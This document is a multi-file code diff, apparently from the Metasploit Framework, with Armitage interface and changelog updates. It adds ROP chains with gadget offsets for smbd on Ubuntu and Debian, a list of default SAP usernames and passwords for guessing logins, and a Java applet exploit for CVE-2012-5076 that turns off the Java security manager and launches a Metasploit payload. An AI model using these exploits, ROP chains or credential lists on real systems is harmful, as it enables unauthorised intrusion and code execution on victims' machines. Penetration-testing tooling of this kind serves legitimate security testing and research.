<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
|
||||
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
|
||||
<gadget value ="0x00000000">mmap arg : off64_t part 1</gadget>
|
||||
<gadget value ="0x00000000">mmap arg : off64_t part 2</gadget>
|
||||
<gadget offset="0x0034fbd2">pop edx ; ret</gadget>
|
||||
<gadget offset="0x0099a000">edx = writable location, in GOT</gadget>
|
||||
<gadget offset="0x0034c2bc">mov dword [edx], eax ; ret; || save EAX (mmaped addr) in GOT</gadget>
|
||||
<gadget offset="0x001fc04c">mov ecx, eax; mov eax, ecx; ret || ecx = MMAPed addr, dst in memcpy</gadget>
|
||||
<gadget offset="0x000a1d24">mov edx, eax ; mov eax, edx ; ret || edx = eax = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
|
||||
<gadget offset="0x001e0d59">push esp ; pop ebx ; pop esi ; ret || ebx = esp</gadget>
|
||||
<gadget value ="0x00000000">junk for esi</gadget>
|
||||
<gadget offset="0x0036fd9a">pop ebp ; ret</gadget>
|
||||
<gadget value ="0x00000034">value to add to esp to point to shellcode</gadget>
|
||||
<gadget offset="0x001a73b2">add ebx, ebp ; ret || ebx = src in memcpy</gadget>
|
||||
<gadget offset="0x0008c5ac">pop eax; ret</gadget>
|
||||
<gadget offset="0x00991904">memcpy@got</gadget>
|
||||
<gadget offset="0x002f3ea4">mov eax, dword [eax] ; ret || eax = @memcpy</gadget>
|
||||
<gadget offset="0x001726b5">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
|
||||
<gadget offset="0x006a3bba">pop edi ; pop ebp **1** ; ret</gadget>
|
||||
<gadget offset="0x000b64ec">add esp, 0x4 ; pop esi ; pop edi ; ret || with pushad, will permit ret on ebx == memcpy</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp **1** </gadget>
|
||||
<gadget offset="0x0002ab2c">pushad, ret</gadget>
|
||||
<gadget value ="size">payload size</gadget>
|
||||
</gadgets>
|
||||
|
||||
|
||||
ROP CHAIN for smbd 2:3.5.8~dfsg-1ubuntu2
|
||||
<compatibility>
|
||||
<target>Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0">
|
||||
<gadget offset="0x0000f445">pop eax; ret</gadget>
|
||||
<gadget offset="0x008c1008">mmap64@got</gadget>
|
||||
<gadget offset="0x00348bb7">mov eax, dword [eax] ; ret || eax = @mmap64</gadget>
|
||||
<gadget offset="0x0009e8e4">jmp eax</gadget>
|
||||
<gadget offset="0x0009db61">add esp, 0x14; pop ebx; pop ebp; ret || mmap64 ret, skip overt mmap arguments</gadget>
|
||||
<gadget value ="0x00000000">mmap arg : addr</gadget>
|
||||
<gadget value ="0x00001000">mmap arg : size</gadget>
|
||||
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
|
||||
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
|
||||
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
|
||||
<gadget value ="0x00000000">mmap arg : off64_t part 1</gadget>
|
||||
<gadget value ="0x00000000">mmap arg : off64_t part 2</gadget>
|
||||
<gadget offset="0x001f6142">pop edx ; ret</gadget>
|
||||
<gadget offset="0x008c9000">edx = writable location, in GOT</gadget>
|
||||
<gadget offset="0x00347b8c">mov dword [edx], eax ; pop ebp ; ret; || save EAX (mmaped addr) in GOT</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp</gadget>
|
||||
<gadget offset="0x0021d553">mov ecx, eax; mov eax, ecx; ret || ecx = MMAPed addr, dst in memcpy</gadget>
|
||||
<gadget offset="0x001b1fe0">mov edx, eax ; mov eax, edx ; ret || edx = eax = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
|
||||
<gadget offset="0x000e817f">push esp ; pop ebx ; pop ebp ; ret || ebx = esp</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp</gadget>
|
||||
<gadget offset="0x0000cdea">xchg eax, ebx ; ret || eax = esp</gadget>
|
||||
<gadget offset="0x00277540">pop ebp ; ret</gadget>
|
||||
<gadget value ="0x0000003c">value to add to esp to point to shellcode</gadget>
|
||||
<gadget offset="0x0011d3a6">add eax, ebp ; mov ebx, 0x81FFF807 ; ret </gadget>
|
||||
<gadget offset="0x0000cdea">xchg eax, ebx ; ret || ebx = esp + XX == src in memcpy</gadget>
|
||||
<gadget offset="0x0000f445">pop eax; ret</gadget>
|
||||
<gadget offset="0x008c0964">memcpy@got</gadget>
|
||||
<gadget offset="0x00348bb7">mov eax, dword [eax] ; ret || eax = @memcpy</gadget>
|
||||
<gadget offset="0x0000cdea">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
|
||||
<gadget offset="0x0009ee99">pop edi ; pop ebp **1** ; ret</gadget>
|
||||
<gadget offset="0x00148cc6">add esp, 0x4 ; pop esi ; pop ebp ; ret || with pushad, will permit ret on ebx == memcpy</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp **1** </gadget>
|
||||
<gadget offset="0x0000dbcf">pushad, ret</gadget>
|
||||
<gadget value ="size">payload size</gadget>
|
||||
</gadgets>
|
||||
-->
|
||||
<!-- ROP CHAIN for smbd 2:3.5.6~dfsg-3squeeze6
|
||||
<compatibility
|
||||
<target>Debian Squeeze / 2:3.5.6~dfsg-3squeeze6</target>
|
||||
</compatibility>
|
||||
<gadgets base="0">
|
||||
<gadget offset="0x00021cd9">pop eax; ret</gadget>
|
||||
<gadget offset="0x008cf86c">mmap64@got</gadget>
|
||||
<gadget offset="0x002fd4a7">mov eax, dword [eax] ; ret || eax = @mmap64</gadget>
|
||||
<gadget offset="0x000234e5">jmp eax</gadget>
|
||||
<gadget offset="0x000b0331">add esp, 0x14; pop ebx; pop ebp; ret || mmap64 ret, skip overt mmap arguments</gadget>
|
||||
<gadget value ="0x00000000">mmap arg : addr</gadget>
|
||||
<gadget value ="0x00001000">mmap arg : size</gadget>
|
||||
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
|
||||
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
|
||||
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
|
||||
<gadget value ="0x00000000">mmap arg : off64_t part 1</gadget>
|
||||
<gadget value ="0x00000000">mmap arg : off64_t part 2</gadget>
|
||||
<gadget offset="0x0001cf12">pop edx ; ret</gadget>
|
||||
<gadget offset="0x008d6000">edx = writable location, in GOT</gadget>
|
||||
<gadget offset="0x00353f4c">mov dword [edx], eax ; pop ebp ; ret; || save EAX (mmaped addr) in GOT</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp</gadget>
|
||||
<gadget offset="0x000b98e9">mov ecx, eax; mov eax, ecx; ret || ecx = MMAPed addr, dst in memcpy</gadget>
|
||||
<gadget offset="0x006bffd2">mov edx, ecx ; mov eax, edx ; pop ebp ; ret || edx = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp</gadget>
|
||||
<gadget offset="0x003660e4">push esp ; pop ebx ; pop ebp ; ret || ebx = esp</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp</gadget>
|
||||
<gadget offset="0x00394107">pop ebp ; ret</gadget>
|
||||
<gadget value ="0x00000034">value to add to esp to point to shellcode</gadget>
|
||||
<gadget offset="0x0017892d">add ebx, ebp ; ret || ebx = src in memcpy</gadget>
|
||||
<gadget offset="0x00021cd9">pop eax; ret</gadget>
|
||||
<gadget offset="0x008cf1e8">memcpy@got</gadget>
|
||||
<gadget offset="0x002fd4a7">mov eax, dword [eax] ; ret || eax = @memcpy</gadget>
|
||||
<gadget offset="0x0001f666">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
|
||||
<gadget offset="0x000b9ac5">pop edi ; pop ebp **1** ; ret</gadget>
|
||||
<gadget offset="0x0033e7ea">add esp, 0x4 ; pop esi ; pop ebp ; ret || with pushad, will permit ret on ebx == memcpy</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp **1** </gadget>
|
||||
<gadget offset="0x00020453">pushad, ret</gadget>
|
||||
<gadget value ="size">payload size</gadget>
|
||||
</gadgets>
|
||||
-->
|
||||
</db>
|
|
@ -4,37 +4,42 @@ class ConvertBinary < ActiveRecord::Migration
|
|||
class WebPage < ActiveRecord::Base
|
||||
serialize :headers
|
||||
end
|
||||
|
||||
|
||||
class WebVuln < ActiveRecord::Base
|
||||
serialize :params
|
||||
end
|
||||
|
||||
|
||||
def bfilter(str)
|
||||
str = str.to_s
|
||||
str.encoding = 'binary' if str.respond_to?('encoding=')
|
||||
str.gsub(/[\x00\x7f-\xff]/, '')
|
||||
end
|
||||
|
||||
|
||||
def self.up
|
||||
rename_column :web_pages, :body, :body_text
|
||||
rename_column :web_pages, :request, :request_text
|
||||
rename_column :web_vulns, :request, :request_text
|
||||
rename_column :web_vulns, :proof, :proof_text
|
||||
|
||||
|
||||
add_column :web_pages, :body, :binary
|
||||
add_column :web_pages, :request, :binary
|
||||
add_column :web_vulns, :request, :binary
|
||||
add_column :web_vulns, :request, :binary
|
||||
add_column :web_vulns, :proof, :binary
|
||||
|
||||
|
||||
WebPage.find(:all).each { |r| r.body = r.body_text; r.save! }
|
||||
WebPage.find(:all).each { |r| r.request = r.request_text; r.save! }
|
||||
WebVuln.find(:all).each { |r| r.proof = r.proof_text; r.save! }
|
||||
WebVuln.find(:all).each { |r| r.request = r.request_text; r.save! }
|
||||
|
||||
|
||||
remove_column :web_pages, :body_text
|
||||
remove_column :web_pages, :request_text
|
||||
remove_column :web_vulns, :request_text
|
||||
remove_column :web_vulns, :proof_text
|
||||
|
||||
WebPage.connection.schema_cache.clear!
|
||||
WebPage.reset_column_information
|
||||
WebVuln.connection.schema_cache.clear!
|
||||
WebVuln.reset_column_information
|
||||
end
|
||||
|
||||
def self.down
|
||||
|
@ -43,21 +48,25 @@ class ConvertBinary < ActiveRecord::Migration
|
|||
rename_column :web_pages, :request, :request_binary
|
||||
rename_column :web_vulns, :request, :request_binary
|
||||
rename_column :web_vulns, :proof, :proof_binary
|
||||
|
||||
|
||||
add_column :web_pages, :body, :text
|
||||
add_column :web_pages, :request, :text
|
||||
add_column :web_vulns, :request, :text
|
||||
add_column :web_vulns, :proof, :text
|
||||
|
||||
|
||||
WebPage.find(:all).each { |r| r.body = bfilter(r.body_binary); r.save! }
|
||||
WebPage.find(:all).each { |r| r.request = bfilter(r.request_binary); r.save! }
|
||||
WebVuln.find(:all).each { |r| r.proof = bfilter(r.proof_binary); r.save! }
|
||||
WebVuln.find(:all).each { |r| r.request = bfilter(r.request_binary); r.save! }
|
||||
|
||||
|
||||
remove_column :web_pages, :body_binary
|
||||
remove_column :web_pages, :request_binary
|
||||
remove_column :web_vulns, :request_binary
|
||||
remove_column :web_vulns, :proof_binary
|
||||
|
||||
|
||||
WebPage.connection.schema_cache.clear!
|
||||
WebPage.reset_column_information
|
||||
WebVuln.connection.schema_cache.clear!
|
||||
WebVuln.reset_column_information
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,13 @@
|
|||
class AddOwnerAndPayloadToWebVulns < ActiveRecord::Migration
|
||||
|
||||
def self.up
|
||||
add_column :web_vulns, :owner, :string
|
||||
add_column :web_vulns, :payload, :text
|
||||
end
|
||||
|
||||
def self.down
|
||||
remove_column :web_vulns, :owner
|
||||
remove_column :web_vulns, :payload
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,14 @@
|
|||
SAP* 06071992
|
||||
SAP* PASS
|
||||
DDIC 19920706
|
||||
DDIC Welcome01
|
||||
SAPCPIC ADMIN
|
||||
EARLYWATCH SUPPORT
|
||||
TMSADM PASSWORD
|
||||
TMSADM ADMIN
|
||||
ADMIN welcome
|
||||
ADSUSER ch4ngeme
|
||||
ADS_AGENT ch4ngeme
|
||||
DEVELOPER ch4ngeme
|
||||
J2EE_ADMIN ch4ngeme
|
||||
SAPJSF ch4ngeme
|
|
@ -3,7 +3,7 @@
|
|||
<center><h1>Armitage 1.44</h1></center>
|
||||
|
||||
<p>An attack management tool for Metasploit®
|
||||
<br />Release: 16 Oct 12</p>
|
||||
<br />Release: 26 Nov 12</p>
|
||||
<br />
|
||||
<p>Developed by:</p>
|
||||
|
||||
|
|
|
@ -550,6 +550,11 @@ sub data_delete {
|
|||
call("db.key_clear", $1);
|
||||
}
|
||||
|
||||
# data_clear('key') -- clears all data associated with the specified key
|
||||
sub data_clear {
|
||||
data_delete($1);
|
||||
}
|
||||
|
||||
# data_add('key', $object) -- appends value into the database...
|
||||
sub data_add {
|
||||
local('$buffer $data');
|
||||
|
@ -860,7 +865,7 @@ sub file_content {
|
|||
}
|
||||
else {
|
||||
local('%r');
|
||||
%r = call("armitage.download", $1);
|
||||
%r = call("armitage.download_nodelete", $1);
|
||||
return %r['data'];
|
||||
}
|
||||
}
|
||||
|
|
|
@ -623,6 +623,34 @@ sub host_attack_items {
|
|||
}
|
||||
}
|
||||
|
||||
sub chooseSession {
|
||||
local('@data $sid $data $host $hdata $temp $tablef');
|
||||
|
||||
# obtain a list of sessions
|
||||
foreach $host (keys(%hosts)) {
|
||||
foreach $sid => $data (getSessions($host)) {
|
||||
$temp = copy($data);
|
||||
$temp['sid'] = $sid;
|
||||
push(@data, $temp);
|
||||
}
|
||||
}
|
||||
|
||||
# sort the session data
|
||||
@data = sort({ return $1['sid'] <=> $2['sid']; }, @data);
|
||||
|
||||
# update the table widths
|
||||
$tablef = {
|
||||
[[$1 getColumn: "sid"] setPreferredWidth: 100];
|
||||
[[$1 getColumn: "session_host"] setPreferredWidth: 300];
|
||||
[[$1 getColumn: "info"] setPreferredWidth: 1024];
|
||||
};
|
||||
|
||||
# let the user choose a session
|
||||
quickListDialog("Choose a session", "Select", @("sid", "sid", "session_host", "info"), @data, $width => 640, $height => 240, lambda({
|
||||
[$call : $1];
|
||||
}, $call => $4), \$tablef);
|
||||
}
|
||||
|
||||
sub addFileListener {
|
||||
local('$table $model $actions');
|
||||
($table, $model, $actions) = @_;
|
||||
|
@ -652,33 +680,7 @@ sub addFileListener {
|
|||
$actions["WORDLIST"] = $actions["*FILE*"];
|
||||
|
||||
# set up an action to choose a session
|
||||
$actions["SESSION"] = {
|
||||
local('@data $sid $data $host $hdata $temp $tablef');
|
||||
|
||||
# obtain a list of sessions
|
||||
foreach $host (keys(%hosts)) {
|
||||
foreach $sid => $data (getSessions($host)) {
|
||||
$temp = copy($data);
|
||||
$temp['sid'] = $sid;
|
||||
push(@data, $temp);
|
||||
}
|
||||
}
|
||||
|
||||
# sort the session data
|
||||
@data = sort({ return $1['sid'] <=> $2['sid']; }, @data);
|
||||
|
||||
# update the table widths
|
||||
$tablef = {
|
||||
[[$1 getColumn: "sid"] setPreferredWidth: 100];
|
||||
[[$1 getColumn: "session_host"] setPreferredWidth: 300];
|
||||
[[$1 getColumn: "info"] setPreferredWidth: 1024];
|
||||
};
|
||||
|
||||
# let the user choose a session
|
||||
quickListDialog("Choose a session", "Select", @("sid", "sid", "session_host", "info"), @data, $width => 640, $height => 240, lambda({
|
||||
[$call : $1];
|
||||
}, $call => $4), \$tablef);
|
||||
};
|
||||
$actions["SESSION"] = lambda(&chooseSession);
|
||||
|
||||
# set up an action to pop up a file chooser for different file type values.
|
||||
$actions["RHOST"] = {
|
||||
|
|
|
@ -239,6 +239,23 @@ sub init_menus {
|
|||
dynmenu($top, "Help", 'H', &help_items);
|
||||
|
||||
# setup some global keyboard shortcuts...
|
||||
[$frame bindKey: "Ctrl+I", {
|
||||
thread({
|
||||
chooseSession($null, $null, $null, {
|
||||
local('$session');
|
||||
$session = sessionData($1);
|
||||
if ($session is $null) {
|
||||
showError("Session $1 does not exist");
|
||||
}
|
||||
else if ($session['desc'] eq "Meterpreter") {
|
||||
createMeterpreterTab($1);
|
||||
}
|
||||
else {
|
||||
createShellSessionTab(\$session, $sid => $1);
|
||||
}
|
||||
});
|
||||
});
|
||||
}];
|
||||
[$frame bindKey: "Ctrl+N", { thread(&createConsoleTab); }];
|
||||
[$frame bindKey: "Ctrl+W", { [$frame openActiveTab]; }];
|
||||
[$frame bindKey: "Ctrl+D", { [$frame closeActiveTab]; }];
|
||||
|
|
|
@ -104,13 +104,16 @@ sub parseMeterpreter {
|
|||
}
|
||||
|
||||
sub interpretMeterpreterCommand {
|
||||
if ([$1 getActionCommand] eq "shell") {
|
||||
local('$c');
|
||||
$c = [lc([$1 getActionCommand] . "") trim];
|
||||
|
||||
if ($c eq "shell") {
|
||||
createShellTab($sid);
|
||||
}
|
||||
else if ([$1 getActionCommand] eq "screenshot") {
|
||||
else if ($c eq "screenshot") {
|
||||
[createScreenshotViewer($sid)];
|
||||
}
|
||||
else if ([$1 getActionCommand] eq "webcam_snap") {
|
||||
else if ($c eq "webcam_snap") {
|
||||
[createWebcamViewer($sid)];
|
||||
}
|
||||
}
|
||||
|
@ -168,7 +171,9 @@ sub showMeterpreterMenu {
|
|||
}, $sid => "$sid"));
|
||||
|
||||
item($j, "Escalate Privileges", 'E', lambda({
|
||||
showPostModules($sid, "*escalate*");
|
||||
showPostModules($sid, "*escalate*",
|
||||
ohash(exploit => buildTree(filter({ return iff("*windows/local/*" iswm $1, $1); }, @exploits)))
|
||||
);
|
||||
}, $sid => "$sid"));
|
||||
|
||||
item($j, "Steal Token" , "S", lambda({
|
||||
|
|
|
@ -251,7 +251,7 @@ sub showExploitModules {
|
|||
# shows the post modules compatible with a session... for this to work, the
|
||||
# code that creates the module browser must call: let(&showPostModules, $tree => ..., $search => ...)
|
||||
sub showPostModules {
|
||||
local('@allowed $2');
|
||||
local('@allowed $2 $3');
|
||||
@allowed = getOS(sessionToOS($1));
|
||||
fork({
|
||||
local('$modules %list $model');
|
||||
|
@ -270,7 +270,13 @@ sub showPostModules {
|
|||
$modules = filter(lambda({ return iff($filter iswm $1, $1); }, \$filter), $modules);
|
||||
}
|
||||
|
||||
%list = ohash(post => buildTree($modules));
|
||||
if ($base is $null) {
|
||||
%list = ohash(post => buildTree($modules));
|
||||
}
|
||||
else {
|
||||
%list = $base;
|
||||
%list['post'] = buildTree($modules);
|
||||
}
|
||||
$model = treeNodes($null, %list);
|
||||
|
||||
dispatchEvent(lambda({
|
||||
|
@ -282,7 +288,7 @@ sub showPostModules {
|
|||
}
|
||||
[$search setText: ""];
|
||||
}, \$search, \$tree, \$model));
|
||||
}, \$tree, \$search, $sid => $1, \$client, \@allowed, $filter => $2);
|
||||
}, \$tree, \$search, $sid => $1, \$client, \@allowed, $filter => $2, $base => $3);
|
||||
}
|
||||
|
||||
sub createModuleBrowserTab {
|
||||
|
|
|
@ -96,6 +96,33 @@ sub createCredentialsTab {
|
|||
($dialog, $table, $model) = show_hashes("", 320);
|
||||
[$dialog removeAll];
|
||||
|
||||
addMouseListener($table, lambda({
|
||||
if ([$1 isPopupTrigger]) {
|
||||
local('$popup $entries');
|
||||
$popup = [new JPopupMenu];
|
||||
$entries = [$model getSelectedValuesFromColumns: $table, @("user", "pass", "host")];
|
||||
item($popup, "Delete", 'D', lambda({
|
||||
local('$queue $entry $user $pass $host');
|
||||
$queue = [new armitage.ConsoleQueue: $client];
|
||||
foreach $entry ($entries) {
|
||||
($user, $pass, $host) = $entry;
|
||||
[$queue addCommand: $null, "creds -d $host -u $user -P $pass"];
|
||||
}
|
||||
|
||||
[$queue addCommand: "x", "creds -h"];
|
||||
|
||||
[$queue addListener: lambda({
|
||||
[$queue stop];
|
||||
refreshCredsTable($model, $null);
|
||||
}, \$model, \$queue)];
|
||||
|
||||
[$queue start];
|
||||
[$queue stop];
|
||||
}, \$table, \$model, \$entries));
|
||||
[$popup show: [$1 getSource], [$1 getX], [$1 getY]];
|
||||
}
|
||||
}, \$table, \$model));
|
||||
|
||||
$panel = [new JPanel];
|
||||
[$panel setLayout: [new BorderLayout]];
|
||||
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
|
||||
|
|
|
@ -75,7 +75,7 @@ sub createProcessBrowser {
|
|||
|
||||
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
|
||||
|
||||
local('$a $b $bb $c');
|
||||
local('$a $b $bb $bbb $c');
|
||||
$a = [new JButton: "Kill"];
|
||||
[$a addActionListener: lambda({
|
||||
local('$procs $v');
|
||||
|
@ -105,6 +105,15 @@ sub createProcessBrowser {
|
|||
}
|
||||
}, $m => $1, \$table, \$model)];
|
||||
|
||||
$bbb = [new JButton: "Steal Token"];
|
||||
[$bbb addActionListener: lambda({
|
||||
local('$v');
|
||||
$v = [$model getSelectedValue: $table];
|
||||
if ($v !is $null) {
|
||||
m_cmd_callback($m, "steal_token $v", { if ($0 eq "end") { showError(["$2" trim]); } });
|
||||
}
|
||||
}, $m => $1, \$table, \$model)];
|
||||
|
||||
$c = [new JButton: "Refresh"];
|
||||
[$c addActionListener:
|
||||
lambda({
|
||||
|
@ -112,7 +121,7 @@ sub createProcessBrowser {
|
|||
}, $m => $1)
|
||||
];
|
||||
|
||||
[$panel add: center($a, $b, $bb, $c), [BorderLayout SOUTH]];
|
||||
[$panel add: center($a, $b, $bb, $bbb, $c), [BorderLayout SOUTH]];
|
||||
|
||||
[$frame addTab: "Processes $1", $panel, $null, "Processes " . sessionToHost($1)];
|
||||
m_cmd($1, "ps");
|
||||
|
|
|
@ -163,6 +163,10 @@ global('%shells $ashell $achannel %maxq %wait');
|
|||
# make our shell heuristic tolerant of prompts like this.
|
||||
%wait[$achannel] = $null;
|
||||
}
|
||||
else if (size($v) > 0 && $v[-1] ismatch '.*?:') {
|
||||
# make our shell heuristic tolerant of more prompts... this is from the time command
|
||||
%wait[$achannel] = $null;
|
||||
}
|
||||
else if (size($v) > 0 && $v[-1] !ismatch '(.*?):\\\\.*?\\>') {
|
||||
m_cmd($1, "read $achannel");
|
||||
}
|
||||
|
@ -254,7 +258,14 @@ sub showShellMenu {
|
|||
}
|
||||
|
||||
item($1, "Post Modules", 'P', lambda({
|
||||
showPostModules($sid);
|
||||
if ("*Windows*" iswm sessionToOS($sid)) {
|
||||
showPostModules($sid);
|
||||
}
|
||||
else {
|
||||
showPostModules($sid, "*",
|
||||
ohash(exploit => buildTree(filter({ return iff("*u*x/local/*" iswm $1, $1); }, @exploits)))
|
||||
);
|
||||
}
|
||||
}, \$sid));
|
||||
|
||||
separator($1);
|
||||
|
|
|
@ -164,6 +164,21 @@ public class MeterpreterSession implements Runnable {
|
|||
readUntilSuccessful(c, false);
|
||||
return;
|
||||
}
|
||||
else if (c.text.startsWith("add_user") && !teammode) {
|
||||
/* when -h [host] is specified, attempts to add a user on another
|
||||
host. In this case, output is split into multiple chunks.
|
||||
This applies to add_localgroup_user and add_group_user too. */
|
||||
readUntilSuccessful(c, false);
|
||||
return;
|
||||
}
|
||||
else if (c.text.startsWith("add_localgroup_user") && !teammode) {
|
||||
readUntilSuccessful(c, false);
|
||||
return;
|
||||
}
|
||||
else if (c.text.startsWith("add_group_user") && !teammode) {
|
||||
readUntilSuccessful(c, false);
|
||||
return;
|
||||
}
|
||||
|
||||
//System.err.println("(" + session + ") latency: " + (System.currentTimeMillis() - c.start) + " -- " + c.text);
|
||||
|
||||
|
|
|
@ -57,6 +57,13 @@ public class MsgRpcImpl extends RpcConnectionImpl {
|
|||
/* login to msf server */
|
||||
Object[] params = new Object[]{ username, password };
|
||||
Map results = exec("auth.login",params);
|
||||
|
||||
/* save the temp token (lasts for 5 minutes of inactivity) */
|
||||
rpcToken = results.get("token").toString();
|
||||
|
||||
/* generate a non-expiring token and use that */
|
||||
params = new Object[]{ rpcToken };
|
||||
results = exec("auth.token_generate", params);
|
||||
rpcToken = results.get("token").toString();
|
||||
}
|
||||
|
||||
|
|
|
@ -33,10 +33,6 @@ public class KeyBindings implements KeyEventDispatcher {
|
|||
}
|
||||
|
||||
public boolean dispatchKeyEvent(KeyEvent ev) {
|
||||
if (ev.getID() != KeyEvent.KEY_PRESSED) {
|
||||
return false;
|
||||
}
|
||||
|
||||
StringBuffer description = new StringBuffer();
|
||||
if (ev.getModifiers() != 0) {
|
||||
description.append(getKeyModifiers(ev));
|
||||
|
@ -46,9 +42,14 @@ public class KeyBindings implements KeyEventDispatcher {
|
|||
|
||||
synchronized (this) {
|
||||
if (bindings.containsKey(description.toString())) {
|
||||
SwingUtilities.invokeLater(new ExecuteBinding(description.toString(), (KeyHandler)bindings.get(description.toString())));
|
||||
ev.consume();
|
||||
return true;
|
||||
if (ev.getID() != KeyEvent.KEY_PRESSED) {
|
||||
return false;
|
||||
}
|
||||
else {
|
||||
SwingUtilities.invokeLater(new ExecuteBinding(description.toString(), (KeyHandler)bindings.get(description.toString())));
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
@ -1,6 +1,29 @@
|
|||
Armitage Changelog
|
||||
==================
|
||||
|
||||
26 Nov 12 (tested against msf 16114)
|
||||
---------
|
||||
- Windows command shell tab is now friendlier to commands that prompt
|
||||
for input (e.g., time command)
|
||||
- [host] -> Meterpreter -> Access -> Escalate Privileges now shows all
|
||||
the framework's new exploit/windows/local modules too
|
||||
- [host] -> Shell -> Post Modules now shows the framework's unix/local
|
||||
and exploit/linux/local modules
|
||||
- Added Ctrl+I shortcut. Lets you choose a session to interact with.
|
||||
- Added Steal Token button to Processes dialog.
|
||||
- Armitage now asks Metasploit for a non-expiring authentication token.
|
||||
This will prevent Armitage from losing its access to msfrpcd when you
|
||||
put your computer to sleep or pause the VM running Metasploit.
|
||||
- add_user and add_[local]group_user now show all of their output when
|
||||
the -h flag is used to operate on a remote host.
|
||||
- added a Delete menu to creds table. Right-click a cred to delete it
|
||||
|
||||
Cortana Updates (for scripters)
|
||||
--------
|
||||
- aliased &data_delete to &data_clear to match the documentation.
|
||||
- &file_get, &loot_get, and &file_content no longer delete the remote
|
||||
file when connected to a teamserver.
|
||||
|
||||
16 Oct 12 (tested against msf 15972)
|
||||
---------
|
||||
- Added port 5985 to MSF Scans list.
|
||||
|
|
|
@ -0,0 +1,69 @@
|
|||
import java.applet.Applet;
|
||||
import java.io.PrintStream;
|
||||
import java.io.Serializable;
|
||||
import java.lang.reflect.Method;
|
||||
import com.sun.org.glassfish.gmbal.ManagedObjectManagerFactory;
|
||||
import com.sun.org.glassfish.gmbal.util.GenericConstructor;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import java.io.ObjectInputStream;
|
||||
import java.io.ObjectOutputStream;
|
||||
import metasploit.Payload;
|
||||
//import java.lang.Runtime;
|
||||
|
||||
public class Exploit extends Applet
|
||||
{
|
||||
|
||||
public Exploit()
|
||||
{
|
||||
}
|
||||
|
||||
public byte[] hex2Byte(String str)
|
||||
{
|
||||
byte[] bytes = new byte[str.length() / 2];
|
||||
for (int i = 0; i < bytes.length; i++)
|
||||
{
|
||||
bytes[i] = (byte) Integer
|
||||
.parseInt(str.substring(2 * i, 2 * i + 2), 16);
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
|
||||
public void init()
|
||||
{
|
||||
try
|
||||
{
|
||||
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
||||
byte[] buffer = new byte[8192];
|
||||
int length;
|
||||
|
||||
// read in the class file from the jar
|
||||
InputStream is = getClass().getResourceAsStream("MyPayload.class");
|
||||
// and write it out to the byte array stream
|
||||
while( ( length = is.read( buffer ) ) > 0 )
|
||||
bos.write( buffer, 0, length );
|
||||
// convert it to a simple byte array
|
||||
buffer = bos.toByteArray();
|
||||
|
||||
GenericConstructor genericconstructor = new GenericConstructor(Object.class, "sun.invoke.anon.AnonymousClassLoader", new Class[0]);
|
||||
Object obj = genericconstructor.create(new Object[] {});
|
||||
Method method = ManagedObjectManagerFactory.getMethod(obj.getClass(), "loadClass", new Class[] { byte[].class });
|
||||
Class class1 = (Class)method.invoke(obj, new Object[] {
|
||||
//byte_payload
|
||||
buffer
|
||||
});
|
||||
class1.newInstance();
|
||||
//System.out.println("SecurityManager:" + System.getSecurityManager());
|
||||
//class1.getMethod("r", new Class[0]).invoke(class1, new Object[0]);
|
||||
Payload.main(null);
|
||||
//Runtime.getRuntime().exec("calc.exe");
|
||||
}
|
||||
catch(Exception exception)
|
||||
{
|
||||
//exception.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
}
|
|
@ -0,0 +1,18 @@
|
|||
# rt.jar must be in the classpath!
|
||||
|
||||
CLASSES = \
|
||||
Exploit.java \
|
||||
MyPayload.java
|
||||
|
||||
.SUFFIXES: .java .class
|
||||
.java.class:
|
||||
javac -source 1.2 -target 1.2 -cp "../../../../data/java" $*.java
|
||||
|
||||
all: $(CLASSES:.java=.class)
|
||||
|
||||
install:
|
||||
mv Exploit.class ../../../../data/exploits/cve-2012-5076/
|
||||
mv MyPayload.class ../../../../data/exploits/cve-2012-5076/
|
||||
|
||||
clean:
|
||||
rm -rf *.class
|
|
@ -0,0 +1,33 @@
|
|||
import java.security.*;
|
||||
|
||||
public class MyPayload
|
||||
implements PrivilegedExceptionAction
|
||||
{
|
||||
|
||||
public MyPayload()
|
||||
{
|
||||
try
|
||||
{
|
||||
AccessController.doPrivileged(this);
|
||||
}
|
||||
catch(PrivilegedActionException e)
|
||||
{
|
||||
//e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public Object run()
|
||||
throws Exception
|
||||
{
|
||||
System.setSecurityManager(null);
|
||||
return null;
|
||||
}
|
||||
|
||||
public static void r()
|
||||
throws Exception
|
||||
{
|
||||
//System.out.println("hello!");
|
||||
}
|
||||
|
||||
|
||||
}
|
|
